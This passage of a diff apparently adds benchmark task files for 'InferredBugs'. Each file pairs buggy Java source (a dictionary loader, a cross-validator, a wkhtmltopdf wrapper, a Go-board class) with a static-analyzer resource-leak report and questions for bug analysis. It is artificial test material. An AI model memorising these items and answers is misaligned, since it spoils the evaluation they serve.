+                try {
+                    if (in != null) {
+                        in.close();
+                    }
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+    }
+
+    /**
+     * 批量加载新词条
+     *
+     * @param words 词条列表
+     */
+    public void addWords(Collection<String> words) {
+        if (words != null) {
+            for (String word : words) {
+                if (word != null) {
+                    // 批量加载词条到主内存词典中
+                    singleton._MainDict.fillSegment(word.trim().toLowerCase().toCharArray());
+                }
+            }
+        }
+    }
+
+    /**
+     * 批量移除（屏蔽）词条
+     */
+    public void disableWords(Collection<String> words) {
+        if (words != null) {
+            for (String word : words) {
+                if (word != null) {
+                    // 批量屏蔽词条
+                    singleton._MainDict.disableSegment(word.trim().toLowerCase().toCharArray());
+                }
+            }
+        }
+    }
+
+    /**
+     * 检索匹配主词典
+     *
+     * @return Hit 匹配结果描述
+     */
+    public Hit matchInMainDict(char[] charArray) {
+        return singleton._MainDict.match(charArray);
+    }
+
+    /**
+     * 检索匹配主词典
+     *
+     * @return Hit 匹配结果描述
+     */
+    public Hit matchInMainDict(char[] charArray, int begin, int length) {
+        return singleton._MainDict.match(charArray, begin, length);
+    }
+
+    /**
+     * 检索匹配量词词典
+     *
+     * @return Hit 匹配结果描述
+     */
+    public Hit matchInQuantifierDict(char[] charArray, int begin, int length) {
+        return singleton._QuantifierDict.match(charArray, begin, length);
+    }
+
+
+    /**
+     * 从已匹配的Hit中直接取出DictSegment，继续向下匹配
+     *
+     * @return Hit
+     */
+    public Hit matchWithHit(char[] charArray, int currentIndex, Hit matchedHit) {
+        DictSegment ds = matchedHit.getMatchedDictSegment();
+        return ds.match(charArray, currentIndex, 1, matchedHit);
+    }
+
+
+    /**
+     * 判断是否是停止词
+     *
+     * @return boolean
+     */
+    public boolean isStopWord(char[] charArray, int begin, int length) {
+        return singleton._StopWordDict.match(charArray, begin, length).isMatch();
+    }
+
+    /**
+     * 加载主词典及扩展词典
+     */
+    private void loadMainDict() {
+        // 建立一个主词典实例
+        _MainDict = new DictSegment((char) 0);
+        // 读取主词典文件
+        InputStream is = this.getClass().getClassLoader().getResourceAsStream(cfg.getMainDictionary());
+        if (is == null) {
+            throw new RuntimeException("Main Dictionary not found!!!");
+        }
+
+        try {
+            BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8), 512);
+            String theWord;
+            do {
+                theWord = br.readLine();
+                if (theWord != null && !"".equals(theWord.trim())) {
+                    _MainDict.fillSegment(theWord.trim().toLowerCase().toCharArray());
+                }
+            } while (theWord != null);
+
+        } catch (IOException ioe) {
+            System.err.println("Main Dictionary loading exception.");
+            ioe.printStackTrace();
+
+        } finally {
+            try {
+                is.close();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+        // 加载扩展词典
+        this.loadExtDict();
+    }
+
+    /**
+     * 加载用户配置的扩展词典到主词库表
+     */
+    private void loadExtDict() {
+        // 加载扩展词典配置
+        List<String> extDictFiles = cfg.getExtDictionarys();
+        if (extDictFiles != null) {
+            InputStream is;
+            for (String extDictName : extDictFiles) {
+                // 读取扩展词典文件
+                System.out.println("Load extended dictionary:" + extDictName);
+                is = this.getClass().getClassLoader().getResourceAsStream(extDictName);
+                // 如果找不到扩展的字典，则忽略
+                if (is == null) {
+                    continue;
+                }
+                try {
+                    BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8), 512);
+                    String theWord;
+                    do {
+                        theWord = br.readLine();
+                        if (theWord != null && !"".equals(theWord.trim())) {
+                            // 加载扩展词典数据到主内存词典中
+                            // System.out.println(theWord);
+                            _MainDict.fillSegment(theWord.trim().toLowerCase().toCharArray());
+                        }
+                    } while (theWord != null);
+
+                } catch (IOException ioe) {
+                    System.err.println("Extension Dictionary loading exception.");
+                    ioe.printStackTrace();
+
+                } finally {
+                    try {
+                        is.close();
+                    } catch (IOException e) {
+                        e.printStackTrace();
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * 加载用户扩展的停止词词典
+     */
+    private void loadStopWordDict() {
+        // 建立一个主词典实例
+        _StopWordDict = new DictSegment((char) 0);
+        // 加载扩展停止词典
+        List<String> extStopWordDictFiles = cfg.getExtStopWordDictionarys();
+        if (extStopWordDictFiles != null) {
+            InputStream is;
+            for (String extStopWordDictName : extStopWordDictFiles) {
+                System.out.println("Load stopwords dictionary:" + extStopWordDictName);
+                // 读取扩展词典文件
+                is = this.getClass().getClassLoader().getResourceAsStream(extStopWordDictName);
+                // 如果找不到扩展的字典，则忽略
+                if (is == null) {
+                    continue;
+                }
+                try {
+                    BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8), 512);
+                    String theWord;
+                    do {
+                        theWord = br.readLine();
+                        if (theWord != null && !"".equals(theWord.trim())) {
+                            // System.out.println(theWord);
+                            // 加载扩展停止词典数据到内存中
+                            _StopWordDict.fillSegment(theWord.trim().toLowerCase().toCharArray());
+                        }
+                    } while (theWord != null);
+
+                } catch (IOException ioe) {
+                    System.err.println("Extension Stop word Dictionary loading exception.");
+                    ioe.printStackTrace();
+
+                } finally {
+                    try {
+                        is.close();
+                    } catch (IOException e) {
+                        e.printStackTrace();
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * 加载量词词典
+     */
+    private void loadQuantifierDict() {
+        // 建立一个量词典实例
+        _QuantifierDict = new DictSegment((char) 0);
+        // 读取量词词典文件
+        InputStream is = this.getClass().getClassLoader().getResourceAsStream(cfg.getQuantifierDicionary());
+        if (is == null) {
+            throw new RuntimeException("Quantifier Dictionary not found!!!");
+        }
+        try {
+            BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8), 512);
+            String theWord;
+            do {
+                theWord = br.readLine();
+                if (theWord != null && !"".equals(theWord.trim())) {
+                    _QuantifierDict.fillSegment(theWord.trim().toLowerCase().toCharArray());
+                }
+            } while (theWord != null);
+
+        } catch (IOException ioe) {
+            System.err.println("Quantifier Dictionary loading exception.");
+            ioe.printStackTrace();
+
+        } finally {
+            try {
+                is.close();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 277 is not released after line 288.
+**Note**: potential exception at line 280
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Dictionary.loadExtDict()
+
+### Procedure Id:
+org.wltea.analyzer.dic.Dictionary.loadExtDict():void.04f345a83d5e59992948694174b3501f
+
+### File:
+src/main/java/org/wltea/analyzer/dic/Dictionary.java
+
+### Key:
+Dictionary.java|loadExtDict|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+c83a7447b2d5c660711c3803922a1883
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10077/instruction.md b/inferredbugs-10077/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b262a28125599f7929598e97c1a3293631aa49e8
--- /dev/null
+++ b/inferredbugs-10077/instruction.md
@@ -0,0 +1,168 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** quickml
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package quickml.supervised.crossValidation;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import quickml.data.instances.Instance;
+import quickml.data.instances.RegressionInstance;
+import quickml.supervised.PredictiveModel;
+import quickml.supervised.PredictiveModelBuilder;
+import quickml.supervised.crossValidation.data.TrainingDataCycler;
+
+import java.io.BufferedWriter;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static quickml.supervised.Utils.getInstanceWeights;
+
+public class SimpleCrossValidator<PM extends PredictiveModel, T extends Instance> implements CrossValidator {
+
+    private static final Logger logger = LoggerFactory.getLogger(SimpleCrossValidator.class);
+
+
+    private LossChecker<PM, T> lossChecker;
+    private TrainingDataCycler<T> dataCycler;
+    private final PredictiveModelBuilder<PM, T> modelBuilder;
+
+    public SimpleCrossValidator(PredictiveModelBuilder<PM, T> modelBuilder, LossChecker<PM, T> lossChecker, TrainingDataCycler<T> dataCycler) {
+        this.lossChecker = lossChecker;
+        this.dataCycler = dataCycler;
+        this.modelBuilder = modelBuilder;
+    }
+
+
+    /**
+     * Get the loss for a model without updating the model config
+     */
+    public double getLossForModel() {
+        return getLossForModel(new HashMap<String, Serializable>());
+    }
+
+    public double getLossForModel(Map<String, Serializable> config) {
+        dataCycler.reset();
+        if (config.size()!=0) {
+            modelBuilder.updateBuilderConfig(config);
+        }
+        double loss = testModel();
+        logger.info("Loss {} for config {}", loss, config.toString());
+        return loss;
+    }
+
+    /**
+     * We keep cycling through the test data, updating the running losses for each run.
+     */
+
+    private double testModel() {
+        try  {
+
+            double runningLoss = 0;
+            double runningWeightOfValidationSet = 0;
+            boolean gotNextCycle = false;
+            int cycle = 0;
+            while (dataCycler.hasMore() || gotNextCycle) {
+                BufferedWriter trainingWriter = new BufferedWriter(new FileWriter("training" + cycle));
+                trainingWriter.write("FileNo");
+
+                for (T instance : dataCycler.getValidationSet()) {
+                    trainingWriter.write("" + ((RegressionInstance) instance).id + "\n");
+                }
+                BufferedWriter testWriter = new BufferedWriter(new FileWriter("test" + cycle));
+                testWriter.write("FileNo,actual,predicted\n");
+                testWriter = new BufferedWriter(new FileWriter("validation" + cycle));
+                List<T> validationSet = dataCycler.getValidationSet();
+                double validationSetWeight = getInstanceWeights(validationSet);
+                PM predictiveModel = modelBuilder.buildPredictiveModel(dataCycler.getTrainingSet());
+                runningLoss += ((RegressionLossChecker) lossChecker).calculateLoss(predictiveModel, validationSet, testWriter) * validationSetWeight;
+                runningWeightOfValidationSet += validationSetWeight;
+                gotNextCycle = dataCycler.nextCycle();
+                cycle++;
+
+                testWriter.flush();
+                trainingWriter.flush();
+                testWriter.close();
+                trainingWriter.close();
+            }
+            return runningLoss / runningWeightOfValidationSet;
+        } catch (IOException e) {
+            logger.error("couldn't write");
+        }
+        return 0.0;
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedWriter` acquired to `trainingWriter` by call to `new()` at line 66 is not released after line 89.
+**Note**: potential exception at line 67
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+double SimpleCrossValidator.testModel()
+
+### Procedure Id:
+quickml.supervised.crossValidation.SimpleCrossValidator.testModel():double.9081b25aeb7f68d284c3602485fc223c
+
+### File:
+src/main/java/quickml/supervised/crossValidation/SimpleCrossValidator.java
+
+### Key:
+SimpleCrossValidator.java|testModel|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+bdc90fdc12ab3722416e82b58bbfba8e
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10079/instruction.md b/inferredbugs-10079/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fc4ce02da71d3ed19ac550af7747de46847e7fd2
--- /dev/null
+++ b/inferredbugs-10079/instruction.md
@@ -0,0 +1,246 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-wkhtmltopdf-wrapper
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package br.eti.mertz.wkhtmltopdf.wrapper;
+
+import br.eti.mertz.wkhtmltopdf.wrapper.configurations.WrapperConfig;
+import br.eti.mertz.wkhtmltopdf.wrapper.page.Page;
+import br.eti.mertz.wkhtmltopdf.wrapper.page.PageType;
+import br.eti.mertz.wkhtmltopdf.wrapper.params.Param;
+import br.eti.mertz.wkhtmltopdf.wrapper.params.Params;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+public class Pdf implements PdfService {
+
+    private static final String STDINOUT = "-";
+
+    private WrapperConfig wrapperConfig;
+
+    private Params params;
+
+    private List<Page> pages;
+
+    private boolean hasToc = false;
+
+    public Pdf(WrapperConfig wrapperConfig) {
+        this.wrapperConfig = wrapperConfig;
+        this.params = new Params();
+        this.pages = new ArrayList<Page>();
+    }
+
+    public Pdf() {
+        this(new WrapperConfig());
+    }
+
+    public void addPage(String source, PageType type) {
+        this.pages.add(new Page(source, type));
+    }
+
+    public void addToc() {
+        this.hasToc = true;
+    }
+
+    public void addParam(Param param) {
+        params.add(param);
+    }
+
+    public void addParam(Param... params) {
+        for (Param param : params) {
+            addParam(param);
+        }
+    }
+
+    public void saveAs(String path) throws IOException, InterruptedException {
+        saveAs(path, getPDF());
+    }
+
+    private File saveAs(String path, byte[] document) throws IOException {
+        File file = new File(path);
+
+        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(file));
+        bufferedOutputStream.write(document);
+        bufferedOutputStream.flush();
+        bufferedOutputStream.close();
+
+        return file;
+    }
+
+    public byte[] getPDF() throws IOException, InterruptedException {
+        Runtime runtime = Runtime.getRuntime();
+        Process process = runtime.exec(getCommandAsArray());
+
+        for (Page page : pages) {
+            if (page.getType().equals(PageType.htmlAsString)) {
+                OutputStream stdInStream = process.getOutputStream();
+                stdInStream.write(page.getSource().getBytes("UTF-8"));
+                stdInStream.close();
+            }
+        }
+
+        StreamEater outputStreamEater = new StreamEater(process.getInputStream());
+        outputStreamEater.start();
+
+        StreamEater errorStreamEater = new StreamEater(process.getErrorStream());
+        errorStreamEater.start();
+
+        outputStreamEater.join();
+        errorStreamEater.join();
+        process.waitFor();
+
+        if (process.exitValue() != 0) {
+            throw new RuntimeException("Process (" + getCommand() + ") exited with status code " + process.exitValue() + ":\n" + new String(errorStreamEater.getBytes()));
+        }
+
+        if (outputStreamEater.getError() != null) {
+            throw outputStreamEater.getError();
+        }
+
+        if (errorStreamEater.getError() != null) {
+            throw errorStreamEater.getError();
+        }
+
+        return outputStreamEater.getBytes();
+    }
+
+    private String[] getCommandAsArray() {
+        List<String> commandLine = new ArrayList<String>();
+
+        if (wrapperConfig.isXvfbEnabled())
+            commandLine.addAll(wrapperConfig.getXvfbConfig().getCommandLine());
+
+        commandLine.add(wrapperConfig.getWkhtmltopdfCommand());
+
+        if (hasToc)
+            commandLine.add("toc");
+
+        commandLine.addAll(params.getParamsAsStringList());
+
+        for (Page page : pages) {
+            if (page.getType().equals(PageType.htmlAsString)) {
+                commandLine.add(STDINOUT);
+            } else {
+                commandLine.add(page.getSource());
+            }
+        }
+        commandLine.add(STDINOUT);
+        return commandLine.toArray(new String[commandLine.size()]);
+    }
+
+    public String getCommand() {
+        return StringUtils.join(getCommandAsArray(), " ");
+    }
+
+    private class StreamEater extends Thread {
+
+        private InputStream stream;
+        private ByteArrayOutputStream bytes;
+
+        private IOException error;
+
+        public StreamEater(InputStream stream) {
+            this.stream = stream;
+
+            bytes = new ByteArrayOutputStream();
+        }
+
+        public void run() {
+            try {
+                int bytesRead = stream.read();
+                while (bytesRead >= 0) {
+                    bytes.write(bytesRead);
+                    bytesRead = stream.read();
+                }
+
+                stream.close();
+            } catch (IOException e) {
+                e.printStackTrace();
+
+                error = e;
+            }
+        }
+
+        public IOException getError() {
+            return error;
+        }
+
+        public byte[] getBytes() {
+            return bytes.toByteArray();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `process` by call to `exec(...)` at line 71 is not released after line 103.
+**Note**: potential exception at line 76
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] Pdf.getPDF()
+
+### Procedure Id:
+br.eti.mertz.wkhtmltopdf.wrapper.Pdf.getPDF():byte[].a0ffdba01dc77854a88921a51f861962
+
+### File:
+src/main/java/br/eti/mertz/wkhtmltopdf/wrapper/Pdf.java
+
+### Key:
+Pdf.java|getPDF|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+0a39e9810d8f13329474e1674b696b6d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10083/instruction.md b/inferredbugs-10083/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b9ca6cc6b491fa0874ac143d47acbc9fb73de2c3
--- /dev/null
+++ b/inferredbugs-10083/instruction.md
@@ -0,0 +1,179 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-wkhtmltopdf-wrapper
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package br.eti.mertz.wkhtmltopdf.wrapper;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import br.eti.mertz.wkhtmltopdf.wrapper.options.GlobalOption;
+import lombok.Data;
+
+@Data
+public class Pdf implements PdfService {
+
+	private String command;
+	private List<Param> params;
+	private String htmlInput = null;
+    private boolean htmlFromString = false;
+
+	public Pdf(String wkhtmltopdf, List<Param> params) {
+		this.command = wkhtmltopdf;
+		this.params = params;
+	}
+
+	public Pdf(List<Param> params) {
+		this("wkhtmltopdf", params);
+	}
+
+	public Pdf(Param... params) {
+		this("wkhtmltopdf", Arrays.asList(params));
+	}
+
+	public Pdf() {
+		this("wkhtmltopdf", new ArrayList<Param>());
+	}
+
+	public void addHtmlInput(String input) {
+        this.htmlFromString = true;
+        this.htmlInput = input;
+	}
+
+	/**
+	 * TODO Add a HTML file, a HTML string or a page from a URL
+	 */
+	public void addCover(String cover) {
+		// TODO Auto-generated method stub
+	}
+
+	/**
+	 * TODO just the TOC option from wkhtmltopdf
+	 */
+	public void addToc() {
+		// TODO Auto-generated method stub
+	}
+
+	public void addParam(Param param) {
+		params.add(param);
+	}
+
+	public void addParam(Param... params) {
+		for (Param param : params) {
+			addParam(param);
+		}
+	}
+
+	/**
+	 * TODO save file and returns
+	 * 
+	 * @throws IOException
+	 * @throws InterruptedException
+	 */
+	public File saveAs(String path) throws IOException, InterruptedException {
+		Runtime rt = Runtime.getRuntime();
+        String command = this.commandWithParameters() + Symbol.separator + path;
+        Process proc = rt.exec(command);
+        if(htmlFromString) {
+            OutputStream stdin = proc.getOutputStream();
+            stdin.write(htmlInput.getBytes());
+            stdin.close();
+        }
+
+		proc.waitFor();
+        if(proc.exitValue() != 0) {
+            throw new RuntimeException("Process (" + command + ") exited with status code " + proc.exitValue());
+        }
+
+		return new File(path);
+	}
+
+	public String commandWithParameters() {
+		StringBuilder sb = new StringBuilder();
+		for (Param param : params) {
+			sb.append(param);
+		}
+
+		return command + sb.toString();
+	}
+
+	public void addParam(GlobalOption option) {
+		addParam(new Param(option.toString()));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `proc` by call to `exec(...)` at line 76 is not released after line 88.
+**Note**: potential exception at line 79
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+File Pdf.saveAs(String)
+
+### Procedure Id:
+br.eti.mertz.wkhtmltopdf.wrapper.Pdf.saveAs(java.lang.String):java.io.File.bb18462cfae09748bd14d6051b8e8547
+
+### File:
+src/main/java/br/eti/mertz/wkhtmltopdf/wrapper/Pdf.java
+
+### Key:
+Pdf.java|saveAs|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+f21647f1400546ce31a646e595936e6b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10084/instruction.md b/inferredbugs-10084/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..59a89bc3d4338b14adf769a42aa709c02fb38eea
--- /dev/null
+++ b/inferredbugs-10084/instruction.md
@@ -0,0 +1,203 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-wkhtmltopdf-wrapper
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package br.eti.mertz.wkhtmltopdf.wrapper;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import br.eti.mertz.wkhtmltopdf.wrapper.options.GlobalOption;
+import lombok.Data;
+
+@Data
+public class Pdf implements PdfService {
+
+	private String command;
+	private List<Param> params;
+	private String htmlInput = null;
+    private boolean htmlFromString = false;
+
+	public Pdf(String wkhtmltopdf, List<Param> params) {
+		this.command = wkhtmltopdf;
+		this.params = params;
+	}
+
+	public Pdf(List<Param> params) {
+		this("wkhtmltopdf", params);
+	}
+
+	public Pdf(Param... params) {
+		this("wkhtmltopdf", Arrays.asList(params));
+	}
+
+	public Pdf() {
+		this("wkhtmltopdf", new ArrayList<Param>());
+	}
+
+	public void addHtmlInput(String input) {
+        this.htmlFromString = true;
+        this.htmlInput = input;
+	}
+
+	/**
+	 * TODO Add a HTML file, a HTML string or a page from a URL
+	 */
+	public void addCover(String cover) {
+		// TODO Auto-generated method stub
+	}
+
+	/**
+	 * TODO just the TOC option from wkhtmltopdf
+	 */
+	public void addToc() {
+		// TODO Auto-generated method stub
+	}
+
+	public void addParam(Param param) {
+		params.add(param);
+	}
+
+	public void addParam(Param... params) {
+		for (Param param : params) {
+			addParam(param);
+		}
+	}
+
+	/**
+	 * @throws IOException
+	 * @throws InterruptedException
+	 */
+	public File saveAs(String path) throws IOException, InterruptedException {
+        byte[] pdf = this.getPDF();
+        File file = new File(path);
+
+        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(file));
+        bufferedOutputStream.write(pdf);
+        bufferedOutputStream.flush();
+        bufferedOutputStream.close();
+
+        return file;
+	}
+
+    public byte[] getPDF() throws IOException, InterruptedException {
+        Runtime runtime = Runtime.getRuntime();
+        if(htmlFromString && !this.params.contains(new Param("-"))) {
+            this.addParam(new Param("-"));
+        }
+        String command = this.commandWithParameters() + Symbol.separator + "-";
+        Process process = runtime.exec(command);
+        if(htmlFromString) {
+            OutputStream stdInStream = process.getOutputStream();
+            stdInStream.write(htmlInput.getBytes());
+            stdInStream.close();
+        }
+        InputStream stdOutStream = process.getInputStream();
+        InputStream stdErrStream = process.getErrorStream();
+        process.waitFor();
+
+        ByteArrayOutputStream stdOut = new ByteArrayOutputStream();
+        ByteArrayOutputStream stdErr = new ByteArrayOutputStream();
+
+        for(int i = 0; i < stdOutStream.available(); i++) {
+            stdOut.write((char) stdOutStream.read());
+        }
+        stdOutStream.close();
+        for(int i = 0; i < stdErrStream.available(); i++) {
+            stdErr.write((char) stdErrStream.read());
+        }
+        stdErrStream.close();
+
+        if(process.exitValue() != 0) {
+            throw new RuntimeException("Process (" + command + ") exited with status code " + process.exitValue() + ":\n"+new String(stdErr.toByteArray()));
+        }
+
+        return stdOut.toByteArray();
+    }
+
+	public String commandWithParameters() {
+		StringBuilder sb = new StringBuilder();
+		for (Param param : params) {
+			sb.append(param);
+		}
+
+		return command + sb.toString();
+	}
+
+	public void addParam(GlobalOption option) {
+		addParam(new Param(option.toString()));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired by call to `exec(...)` at line 87 is not released after line 113.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] Pdf.getPDF()
+
+### Procedure Id:
+br.eti.mertz.wkhtmltopdf.wrapper.Pdf.getPDF():byte[].a0ffdba01dc77854a88921a51f861962
+
+### File:
+src/main/java/br/eti/mertz/wkhtmltopdf/wrapper/Pdf.java
+
+### Key:
+Pdf.java|getPDF|RESOURCE_LEAK
+
+### Node Key:
+403b923eb008d1cc6b180a4b1bc6a1bb
+
+### Hash:
+d0eb67af4e6491535208592085f33548
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10085/instruction.md b/inferredbugs-10085/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b8c823e74e8807c505559e411f420f9b380c205e
--- /dev/null
+++ b/inferredbugs-10085/instruction.md
@@ -0,0 +1,1603 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** lizzie
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package featurecat.lizzie.rules;
+
+import static java.lang.Math.min;
+import static java.util.Collections.singletonList;
+
+import featurecat.lizzie.Lizzie;
+import featurecat.lizzie.analysis.Leelaz;
+import featurecat.lizzie.analysis.LeelazListener;
+import featurecat.lizzie.analysis.MoveData;
+import java.io.IOException;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Deque;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Queue;
+import java.util.function.BiConsumer;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import javax.swing.JOptionPane;
+import org.json.JSONException;
+
+public class Board implements LeelazListener {
+  public static int boardSize0 =
+      (Lizzie.config != null
+              && Lizzie.config.config != null
+              && Lizzie.config.config.getJSONObject("ui") != null)
+          ? Lizzie.config.config.getJSONObject("ui").optInt("board-size", 19)
+          : 19;
+  public static int boardWidth =
+      (Lizzie.config != null
+              && Lizzie.config.config != null
+              && Lizzie.config.config.getJSONObject("ui") != null)
+          ? Lizzie.config.config.getJSONObject("ui").optInt("board-width", boardSize0)
+          : boardSize0;
+  public static int boardHeight =
+      (Lizzie.config != null
+              && Lizzie.config.config != null
+              && Lizzie.config.config.getJSONObject("ui") != null)
+          ? Lizzie.config.config.getJSONObject("ui").optInt("board-height", boardSize0)
+          : boardSize0;
+  private static final String alphabet = "ABCDEFGHJKLMNOPQRSTUVWXYZ";
+
+  private BoardHistoryList history;
+  private Stone[] capturedStones;
+  private boolean scoreMode;
+  private boolean analysisMode;
+  private int playoutsAnalysis;
+
+  // Save the node for restore move when in the branch
+  private Optional<BoardHistoryNode> saveNode;
+
+  public Board() {
+    initialize();
+  }
+
+  /** Initialize the board completely */
+  private void initialize() {
+    capturedStones = new Stone[] {};
+    scoreMode = false;
+    analysisMode = false;
+    playoutsAnalysis = 100;
+    saveNode = Optional.empty();
+    Lizzie.frame.setForceRefresh(false);
+    history = new BoardHistoryList(BoardData.empty(boardWidth, boardHeight));
+  }
+
+  /**
